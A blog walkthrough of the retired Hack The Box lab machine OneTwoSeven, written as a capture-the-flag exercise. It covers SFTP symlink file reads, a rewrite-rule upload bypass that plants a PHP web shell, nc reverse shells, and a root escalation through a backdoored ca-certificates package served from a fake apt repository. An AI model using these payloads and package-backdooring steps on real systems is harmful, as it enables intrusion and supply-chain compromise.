This post documents the complete walkthrough of OneTwoSeven, a retired vulnerable VM created by jkr, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


OneTwoSeven is a retired VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=500                                                                                     

Starting masscan 1.0.4 ( at 2019-04-25 00:57:53 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on
Discovered open port 22/tcp on

Nothing unusual with the ports. Let’s do one better with nmap scanning the discovered ports to see what services are available.

# nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
|   256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_  256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Page moved.

Wow. This is as good as nothing. Anyways, here’s how the site looks like.

Well, at least we have index.php. :smile:

OneTwoSeven Site

The site has four features: SFTP, static file hosting, IPv6, DDoS Protection.

Checking the HTML source of index.php shows something interesting.

The link to “Admin” is greyed out and it’s hosted at 60080/tcp. It should be clear from the anti-DDoS description, that there’s no point in brute-forcing directories or files. Other pages include signup.php, stats.php, and attribution.php.

Secure File Transfer Protocol

Let’s grab an account first above all else.

Pretty retro with the static homepage hosting. Oops. I’m not that old. :wink:

Time to log in to our SFTP account.

This is really old school man. It reminds me of the personal home page hosting I got from my ISP twenty-years ago. I missed the sound of the modem dialing…

I literally hit a brick wall with index.html. Nonetheless, I can remove the brick wall to reveal directory index.

There you go. What’s next? We can create symlinks to see if we are lucky enough to view certain files.

sftp> ln -s /etc/passwd passwd

What do we have here?

Notice the first entry is different from the rest? Can we look at other files and directories too?

sftp> ln -s /var/www/html/index.php index.txt

Yes we can!

Long story short, I went ahead to symlink signup.phhp, stats.php, and the root directory.



root directory

Now that we know how the password is generated, we can simply SFTP ourself to other accounts to satisfy our curiosity. First up, ots-yODc2NGQ because it’s coming from the loopback interface.

# echo -n | md5sum | cut -c-8

What a surprise, user.txt is here.

Administration Backend

Recall the link to Admin was on 60080/tcp? We can make use of ProxyCommand to run ssh and forward a local port on our attacking machine to the remote port of 60080/tcp like so.

Ignore the “Connection closed” message and check out the ports listening on our attacking machine.

Time to check out if we can access the administration backend.

Voila! Only to be stonewalled by a login form. :angry:

Fret not. We have the Vim swap file of /var/www/html-admin/login.php. Maybe that will tell us the username and password?

# vim -r login.php.swp

Awesome. Let’s send the hash to JtR for cracking.

It’s login time!

Looks like I’m not the only one here. :laughing: How do you separate the wheat from the chaff? I’ve applied a light-touch brute-forcing prior to this and found the directory index of /addons. Check out the timestamps of the default “plugins” surrounded by the red box.

Well, it appears that we can upload “plugins” as well. The “disabled” button is immaterial.

Not only that, we can download the “plugins” too!

I downloaded all the default “plugins”, and something funky is going on with them, especially ots-man-addon.php:

  1. You can’t execute PHP straight from the /addons directory
  2. Execution must go through menu.php?addon=...
  3. You can’t upload because addon-upload.php is not available
  4. Fret not, addon-download.php is…

Check out ots-man-addon.php.

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
  # Upload addon to addons folder.
  case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
      $errors= array();
      $file_name = basename($_FILES['addon']['name']);
      $file_size =$_FILES['addon']['size'];
      $file_tmp =$_FILES['addon']['tmp_name'];

      if($file_size > 20000){
        $errors[]='Module too big for addon manager. Please upload manually.';

      if(empty($errors)==true) {
        header("Location: /menu.php");
        header("Content-Type: text/plain");
        echo "File uploaded successfull.y";
      } else {
        header("Location: /menu.php");
        header("Content-Type: text/plain");
        echo "Error uploading the file: ";
  # Download addon from addons folder.
  case preg_match('/\/addon-download.php/',$_SERVER['REQUEST_URI']):
    if ($_GET['addon']) {
      $addon_file = basename($_GET['addon']);
      if ( file_exists($addon_file) ) {
        header("Content-Disposition: attachment; filename=$addon_file");
        header("Content-Type: text/plain");
      } else {
        header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
    echo "The addon manager must not be executed directly but only via<br>";
    echo "the provided RewriteRules:<br><hr>";
    echo "RewriteEngine On<br>";
    echo "RewriteRule ^addon-upload.php   addons/ots-man-addon.php [L]<br>";
    echo "RewriteRule ^addon-download.php addons/ots-man-addon.php [L]<br><hr>";
    echo "By commenting individual RewriteRules you can disable single<br>";
    echo "features (i.e. for security reasons)<br><br>";
    echo "<font size='-2'>Please note: Disabling a feature through htaccess leads to 404 errors for now.</font>";

If we append /addon-up.php to /addon-download.php, and because /addon-download.php gets rewritten to ots-man-addon.php, the first case will match and our “plugin” gets uploaded.

One last thing: the 2nd line of the uploaded PHP must be # OneTwoSeven Admin Plugin. Here’s the file that I’ll be uploading.

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Default User
echo shell_exec($_GET[0]);

Time to upload.

# curl -i -b "PHPSESSID=emhvsbp1urdd9cbabfhkcv20s0" -F "[email protected]" "http://onetwoseven.htb:60080/addon-download.php/addon-upload.php"
HTTP/1.1 302 Found
Date: Sat, 27 Apr 2019 12:51:59 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /menu.php
Content-Length: 27
Content-Type: text/plain;charset=UTF-8

File uploaded successfull.y


Low-Privilege Shell

With remote command execution, we can get ourselves a low-privilege shell with nc.

http://onetwoseven.htb:60080/menu.php?addon=ots-endgame.php&0=nc 1234 -e /bin/bash

Let’s upgrade the shell to a full TTY.

Privilege Escalation

During enumeration of www-admin-data’s account, I noticed that www-admin-data is able to sudo apt-get update, apt-get upgrade, and preserve certain environment variables.

And if you check /etc/apt/source.list.d/onetwoseven.list then the road to root is imminent.

Here’s the game plan:

  1. Map packages.onetwoseven.htb to in /etc/hosts
  2. Set up a HTTP proxy server on my attacking machine. Burp will do fine, just change the interface to tun0.
  3. Set up a fake repository with a package release having a higher version number and a backdoored DEB package.
  4. Run sudo http_proxy= apt-get update
  5. Run sudo http_proxy= apt-get upgrade
  6. Claim the prize.

I guess the question is how do you go about doing Step 3. How’s how.

First of all, select a package that you want to backdoor. I’ve selected ca-certificates. It’s relatively small in size and there’s a config script executed as root.

Next, set up the directory structure on my attacking machine.

# mkdir -p devuan/dists/ascii/main/binary-amd64
# mkdir -p devuan/pool/main/c/ca-certificates

And since I’m using Kali Linux, I’ll download the latest ca-certificates from the Kali Linux repository.

Run the following commands in the same directory:

# wget
# dpkg-deb -R ca-certificates_20190110_all.deb evil
# rm ca-certificates_20190110_all.deb
# sed -i '2i \/bin/nc 4321 -e /bin/bash' evil/DEBIAN/config
# dpkg-deb -b evil ca-certificates_20190110_all.deb
# cp ca-certificates_20190110_all.deb /root/Downloads/onetwoseven/backdoor/devuan/pool/main/c/ca-certificates

Prepare the Package metadata with the following script.



# Package
apt-cache show ca-certificates > "$PACKAGE"/Packages

# Downgrade dependency
sed -r -i "s/1.1.1/1.0.0/" "$PACKAGE"/Packages

# Size
sed -r -i "s/^(Size: )(.*)$/\1$(ls -la $DEB | cut -d' ' -f5)/" "$PACKAGE"/Packages

# SHA256
sed -r -i "s/^(SHA256: )(.*)$/\1$(sha256sum $DEB | cut -d' ' -f1)/" "$PACKAGE"/Packages

# SHA1
sed -r -i "s/^(SHA1: )(.*)$/\1$(sha1sum $DEB | cut -d' ' -f1)/" "$PACKAGE"/Packages

# MD5Sum
sed -r -i "s/^(MD5sum: )(.*)$/\1$(md5sum $DEB | cut -d' ' -f1)/" "$PACKAGE"/Packages

# Priority
sed -r -i "s/^(Priority: )(.*)$/\1required/" "$PACKAGE"/Packages

# Package.gz
gzip < "$PACKAGE"/Packages > "$PACKAGE"/Packages.gz

Prepare the Package Release metadata with the following script.




cat << EOF > $RELEASE
Origin: Devuan
Label: ascii
Suite: ascii
Version: 2.0.0
Codename: ascii
Date: Sun, 28 Apr 2019 01:27:05 UTC
Valid-Until: Sun, 05 May 2019 01:27:05 UTC
Architectures: amd64
Components: main

# MD5Sum
echo "MD5Sum:" >> $RELEASE
for p in Packages*; do
  md5=$(md5sum $p | cut -d' ' -f1)
  size=$(ls -la $p | cut -d' ' -f5)
  printf " %32s%7d %s\n" "$md5" "$size" "$where/$p" >> $RELEASE

# SHA1
echo "SHA1:" >> $RELEASE
for p in Packages*; do
  sha1=$(sha1sum $p | cut -d' ' -f1)
  size=$(ls -la $p | cut -d' ' -f5)
  printf " %32s%7d %s\n" "$sha1" "$size" "$where/$p" >> $RELEASE

# SHA256
echo "SHA256:" >> $RELEASE
for p in Packages*; do
  sha256=$(sha256sum $p | cut -d' ' -f1)
  size=$(ls -la $p | cut -d' ' -f5)
  printf " %32s%7d %s\n" "$sha256" "$size" "$where/$p" >> $RELEASE

cd - &>/dev/null

Once that’s done, we can launch our attack.

Install the “evil” package.

Meanwhile, at our nc listener, a root shell appears…

Getting root.txt is trivial when you have a root shell.